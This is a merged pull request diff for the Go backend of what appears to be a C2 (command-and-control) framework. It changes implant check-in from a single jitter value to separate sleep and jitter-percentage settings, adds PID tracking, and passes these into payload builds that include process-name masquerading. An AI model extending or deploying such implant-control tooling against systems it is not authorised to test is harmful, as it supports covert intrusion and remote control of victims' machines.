Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions backend/internal/api/handlers/implant.go
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@ func (h *ImplantHandler) Heartbeat(c *gin.Context) {
Msg("Implant heartbeat received")

// Check in the implant
implant, isNew, err := h.implantService.CheckInFull(identity.Arch, identity.OS, identity.Hostname, identity.Username, identity.IsRoot, identity.Distro, internalIP, externalIP, identity.ProcessName, identity.SessionID)
implant, isNew, err := h.implantService.CheckInFull(identity.Arch, identity.OS, identity.Hostname, identity.Username, identity.IsRoot, identity.Distro, internalIP, externalIP, identity.ProcessName, identity.SessionID, identity.PID)
if err != nil {
log.Error().Err(err).Msg("Failed to check in implant")
c.String(http.StatusInternalServerError, "error")
Expand Down Expand Up @@ -173,10 +173,10 @@ func (h *ImplantHandler) Heartbeat(c *gin.Context) {
}()
}

case "cmd:jitter":
// Mark as completed immediately - jitter change is handled internally by implant
case "cmd:sleep":
// Mark as completed immediately - sleep/jitter change is handled internally by implant
go func() {
h.taskService.CompleteTask(task.ID, 0, "Jitter updated")
h.taskService.CompleteTask(task.ID, 0, "Sleep updated")
if h.hub != nil {
updatedTask, _ := h.taskService.Get(task.ID)
if updatedTask != nil {
Expand Down
30 changes: 20 additions & 10 deletions backend/internal/api/handlers/operator.go
Original file line number Diff line number Diff line change
Expand Up @@ -188,12 +188,13 @@ func (h *OperatorHandler) GetImplant(c *gin.Context) {
c.JSON(http.StatusOK, implant)
}

// UpdateImplantJitter updates the jitter for an implant
func (h *OperatorHandler) UpdateImplantJitter(c *gin.Context) {
// UpdateImplantSleep updates the sleep and jitter for an implant
func (h *OperatorHandler) UpdateImplantSleep(c *gin.Context) {
id := c.Param("id")

var req struct {
Jitter int `json:"jitter" binding:"required,min=1"`
Sleep int `json:"sleep" binding:"required,min=1"`
Jitter int `json:"jitter" binding:"min=0,max=100"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
Expand All @@ -214,15 +215,16 @@ func (h *OperatorHandler) UpdateImplantJitter(c *gin.Context) {
return
}

// Create jitter command task with the new jitter value as argument
jitterArg := fmt.Sprintf("%d", req.Jitter)
task, err := h.taskService.CreateCommandTask(id, "jitter", jitterArg, createdBy)
// Create sleep command task with sleep:jitter format as argument
sleepArg := fmt.Sprintf("%d:%d", req.Sleep, req.Jitter)
task, err := h.taskService.CreateCommandTask(id, "sleep", sleepArg, createdBy)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

// Update implant jitter in database
// Update implant sleep and jitter in database
implant.Sleep = req.Sleep
implant.Jitter = req.Jitter
if err := h.implantService.Update(implant); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
Expand All @@ -232,8 +234,9 @@ func (h *OperatorHandler) UpdateImplantJitter(c *gin.Context) {
log.Info().
Str("implant_id", id).
Str("task_id", task.ID).
Int("new_sleep", req.Sleep).
Int("new_jitter", req.Jitter).
Msg("Jitter update command sent to implant")
Msg("Sleep update command sent to implant")

// Broadcast implant update via WebSocket
if h.hub != nil {
Expand All @@ -244,8 +247,9 @@ func (h *OperatorHandler) UpdateImplantJitter(c *gin.Context) {
}

c.JSON(http.StatusOK, gin.H{
"message": "Jitter update command sent",
"message": "Sleep update command sent",
"task_id": task.ID,
"sleep": req.Sleep,
"jitter": req.Jitter,
})
}
Expand All @@ -256,6 +260,7 @@ func (h *OperatorHandler) UpdateImplant(c *gin.Context) {

var req struct {
Note *string `json:"note"`
Sleep *int `json:"sleep"`
Jitter *int `json:"jitter"`
}
if err := c.ShouldBindJSON(&req); err != nil {
Expand All @@ -274,8 +279,13 @@ func (h *OperatorHandler) UpdateImplant(c *gin.Context) {
implant.Note = *req.Note
}

// Update sleep if provided
if req.Sleep != nil && *req.Sleep > 0 {
implant.Sleep = *req.Sleep
}

// Update jitter if provided
if req.Jitter != nil && *req.Jitter > 0 {
if req.Jitter != nil && *req.Jitter >= 0 && *req.Jitter <= 100 {
implant.Jitter = *req.Jitter
}

Expand Down
2 changes: 1 addition & 1 deletion backend/internal/api/router.go
Original file line number Diff line number Diff line change
Expand Up @@ -95,7 +95,7 @@ func (r *Router) setupRoutes() {
api.GET("/implants", r.operatorHandler.ListImplants)
api.GET("/implants/:id", r.operatorHandler.GetImplant)
api.PUT("/implants/:id", r.operatorHandler.UpdateImplant)
api.PUT("/implants/:id/jitter", r.operatorHandler.UpdateImplantJitter)
api.PUT("/implants/:id/sleep", r.operatorHandler.UpdateImplantSleep)
api.DELETE("/implants/:id", r.operatorHandler.DeleteImplant)
api.GET("/implants/:id/shell", r.shellHandler.GetImplantShell)
api.GET("/implants/:id/shell/connect", r.shellHandler.ConnectImplantShell)
Expand Down
6 changes: 4 additions & 2 deletions backend/internal/config/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,8 @@ type Config struct {
JWTExpireHour int

// Implant settings
DefaultJitter int // seconds
DefaultSleep int // seconds between check-ins
DefaultJitter int // jitter percentage (0-100)
}

// DefaultConfig returns a configuration with default values
Expand All @@ -41,7 +42,8 @@ func DefaultConfig() *Config {
PayloadDir: "./data/payloads",
JWTSecret: "change-me-in-production",
JWTExpireHour: 24,
DefaultJitter: 5,
DefaultSleep: 5,
DefaultJitter: 20,
}
}

Expand Down
4 changes: 3 additions & 1 deletion backend/internal/models/implant.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,12 +19,14 @@ type Implant struct {
GeoLocation string `json:"geo_location"` // 归属地
Protocol string `json:"protocol"` // 连接方式 (http/https)
ProcessName string `json:"process_name"` // 进程名称
PID int `json:"pid"` // 进程ID
IsRoot bool `json:"is_root"`
FirstSeen time.Time `json:"first_seen"`
LastSeen time.Time `json:"last_seen"`
IsAlive bool `json:"is_alive"`
PendingDeletion bool `json:"pending_deletion"` // If true, implant will be deleted after receiving exit command
Jitter int `json:"jitter"` // seconds between check-ins
Sleep int `json:"sleep"` // seconds between check-ins
Jitter int `json:"jitter"` // jitter percentage (0-100)
}

// ImplantIdentity represents the identity sent by implant during check-in
Expand Down
6 changes: 4 additions & 2 deletions backend/internal/models/payload.go
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,8 @@ type Payload struct {
ListenerID string `json:"listener_id"`
C2Host string `json:"c2_host"`
C2Port int `json:"c2_port"`
Jitter int `json:"jitter"` // seconds
Sleep int `json:"sleep"` // seconds between check-ins
Jitter int `json:"jitter"` // jitter percentage (0-100)
StageHost string `json:"stage_host,omitempty"`
StagePort int `json:"stage_port,omitempty"`
ProcessName string `json:"process_name,omitempty"` // custom process name for masquerading
Expand All @@ -85,7 +86,8 @@ type PayloadCreateRequest struct {
// For implant: C2 connection settings
C2Host string `json:"c2_host" binding:"required"`
C2Port int `json:"c2_port" binding:"required"`
Jitter int `json:"jitter"`
Sleep int `json:"sleep"` // seconds between check-ins
Jitter int `json:"jitter"` // jitter percentage (0-100)
// For stager: Stage server settings (where to download shellcode)
StageHost string `json:"stage_host"`
StagePort int `json:"stage_port"`
Expand Down
7 changes: 7 additions & 0 deletions backend/internal/protocol/decoder.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ type ImplantIdentity struct {
InternalIP string // Internal IP address of the implant
ProcessName string // Process name of the implant
SessionID string // Unique session ID for this implant instance
PID int // Process ID of the implant
}

// DecodeIdentity decodes the base64-encoded implant identity
Expand Down Expand Up @@ -70,6 +71,12 @@ func DecodeIdentityFull(encoded string) ImplantIdentity {
if len(parts) >= 9 {
identity.SessionID = parts[8]
}
if len(parts) >= 10 {
pid, err := strconv.Atoi(parts[9])
if err == nil {
identity.PID = pid
}
}

return identity
}
Expand Down
9 changes: 7 additions & 2 deletions backend/internal/services/implant_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ func (s *ImplantService) CheckIn(arch, os, externalIP string) (*models.Implant,
FirstSeen: time.Now(),
LastSeen: time.Now(),
IsAlive: true,
Sleep: s.config.DefaultSleep,
Jitter: s.config.DefaultJitter,
}

Expand Down Expand Up @@ -84,7 +85,7 @@ func (s *ImplantService) UpdateLastSeen(id string) error {

// MarkDeadIfStale marks implants as dead if they haven't checked in
func (s *ImplantService) MarkDeadIfStale() error {
// Use per-implant jitter to determine if stale
// Use per-implant sleep to determine if stale
return s.repo.MarkDeadIfStalePerImplant()
}

Expand All @@ -96,7 +97,7 @@ func (s *ImplantService) Update(implant *models.Implant) error {
// CheckInFull handles an implant check-in with full identity information
// Uses session ID to identify the same implant instance across heartbeats
// Returns: implant, isNew (true if this is a new implant), error
func (s *ImplantService) CheckInFull(arch, os, hostname, username string, isRoot bool, distro, internalIP, externalIP, processName, sessionID string) (*models.Implant, bool, error) {
func (s *ImplantService) CheckInFull(arch, os, hostname, username string, isRoot bool, distro, internalIP, externalIP, processName, sessionID string, pid int) (*models.Implant, bool, error) {
// If session ID is provided, try to find existing implant
if sessionID != "" {
implant, err := s.repo.FindBySessionID(sessionID)
Expand All @@ -111,6 +112,7 @@ func (s *ImplantService) CheckInFull(arch, os, hostname, username string, isRoot
implant.InternalIP = internalIP
implant.ExternalIP = externalIP
implant.ProcessName = processName
implant.PID = pid
if err := s.repo.Update(implant); err != nil {
return nil, false, err
}
Expand All @@ -132,6 +134,7 @@ func (s *ImplantService) CheckInFull(arch, os, hostname, username string, isRoot
existing.Distro = distro
existing.ExternalIP = externalIP
existing.ProcessName = processName
existing.PID = pid
if err := s.repo.Update(existing); err != nil {
return nil, false, err
}
Expand All @@ -152,9 +155,11 @@ func (s *ImplantService) CheckInFull(arch, os, hostname, username string, isRoot
InternalIP: internalIP,
ExternalIP: externalIP,
ProcessName: processName,
PID: pid,
FirstSeen: time.Now(),
LastSeen: time.Now(),
IsAlive: true,
Sleep: s.config.DefaultSleep,
Jitter: s.config.DefaultJitter,
}

Expand Down
12 changes: 9 additions & 3 deletions backend/internal/services/payload_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -197,6 +197,7 @@ func (s *PayloadService) Create(req *models.PayloadCreateRequest, createdBy stri
ListenerID: req.ListenerID,
C2Host: req.C2Host,
C2Port: req.C2Port,
Sleep: req.Sleep,
Jitter: req.Jitter,
StageHost: req.StageHost,
StagePort: req.StagePort,
Expand All @@ -205,8 +206,11 @@ func (s *PayloadService) Create(req *models.PayloadCreateRequest, createdBy stri
CreatedBy: createdBy,
}

if payload.Sleep == 0 {
payload.Sleep = 5
}
if payload.Jitter == 0 {
payload.Jitter = 5
payload.Jitter = 20
}

// For stager, default stage host/port to c2 host/port if not specified
Expand All @@ -224,7 +228,7 @@ func (s *PayloadService) Create(req *models.PayloadCreateRequest, createdBy stri
s.setStatus(buildID, "building")
s.addLog(buildID, "info", fmt.Sprintf("Starting payload generation: %s", payload.Name))
s.addLog(buildID, "info", fmt.Sprintf("Type: %s, Format: %s, OS: %s, Arch: %s", payload.Type, payload.Format, payload.OS, payload.Arch))
s.addLog(buildID, "info", fmt.Sprintf("C2: %s:%d, Jitter: %ds", payload.C2Host, payload.C2Port, payload.Jitter))
s.addLog(buildID, "info", fmt.Sprintf("C2: %s:%d, Sleep: %ds, Jitter: %d%%", payload.C2Host, payload.C2Port, payload.Sleep, payload.Jitter))
s.setProgress(buildID, 10)

// Generate the payload
Expand Down Expand Up @@ -456,6 +460,7 @@ func (s *PayloadService) generateImplantShellcode(buildID string, stagerPayload
// Add C2 configuration - use the stager's C2 settings
c2HostPort := fmt.Sprintf("%s:%d", stagerPayload.C2Host, stagerPayload.C2Port)
args = append(args, fmt.Sprintf("-Dc2_host=%s", c2HostPort))
args = append(args, fmt.Sprintf("-Dsleep=%d", stagerPayload.Sleep))
args = append(args, fmt.Sprintf("-Djitter=%d", stagerPayload.Jitter))

// Add process name for masquerading (passed from stager config)
Expand Down Expand Up @@ -570,8 +575,9 @@ func (s *PayloadService) generateImplant(buildID string, payload *models.Payload
// Add C2 configuration (passed to z-beac0n-core BOF at compile time)
c2HostPort := fmt.Sprintf("%s:%d", payload.C2Host, payload.C2Port)
args = append(args, fmt.Sprintf("-Dc2_host=%s", c2HostPort))
args = append(args, fmt.Sprintf("-Dsleep=%d", payload.Sleep))
args = append(args, fmt.Sprintf("-Djitter=%d", payload.Jitter))
s.addLog(buildID, "info", fmt.Sprintf("C2 config: host=%s, jitter=%ds", c2HostPort, payload.Jitter))
s.addLog(buildID, "info", fmt.Sprintf("C2 config: host=%s, sleep=%ds, jitter=%d%%", c2HostPort, payload.Sleep, payload.Jitter))

// Add process name for masquerading (optional)
if payload.ProcessName != "" {
Expand Down
21 changes: 15 additions & 6 deletions backend/internal/storage/implant_repo.go
Original file line number Diff line number Diff line change
Expand Up @@ -94,8 +94,8 @@ func (r *ImplantRepository) MarkDeadIfStale(threshold time.Duration) error {
Update("is_alive", false).Error
}

// MarkDeadIfStalePerImplant marks implants as dead based on their individual jitter settings
// An implant is considered dead if it hasn't checked in for 3x its jitter value
// MarkDeadIfStalePerImplant marks implants as dead based on their individual sleep settings
// An implant is considered dead if it hasn't checked in for 3x its sleep value (plus max jitter)
func (r *ImplantRepository) MarkDeadIfStalePerImplant() error {
now := time.Now()

Expand All @@ -107,13 +107,22 @@ func (r *ImplantRepository) MarkDeadIfStalePerImplant() error {

// Check each implant individually
for _, implant := range implants {
sleep := implant.Sleep
if sleep <= 0 {
sleep = 5 // Default sleep
}
jitter := implant.Jitter
if jitter <= 0 {
jitter = 5 // Default jitter
if jitter < 0 {
jitter = 0
}
if jitter > 100 {
jitter = 100
}

// Mark as dead if no check-in for 3x the jitter
threshold := time.Duration(jitter*3) * time.Second
// Calculate max possible sleep time with jitter
maxSleep := sleep + (sleep * jitter / 100)
// Mark as dead if no check-in for 3x the max sleep time
threshold := time.Duration(maxSleep*3) * time.Second
if now.Sub(implant.LastSeen) > threshold {
r.db.Model(&implant).Update("is_alive", false)
}
Expand Down
Loading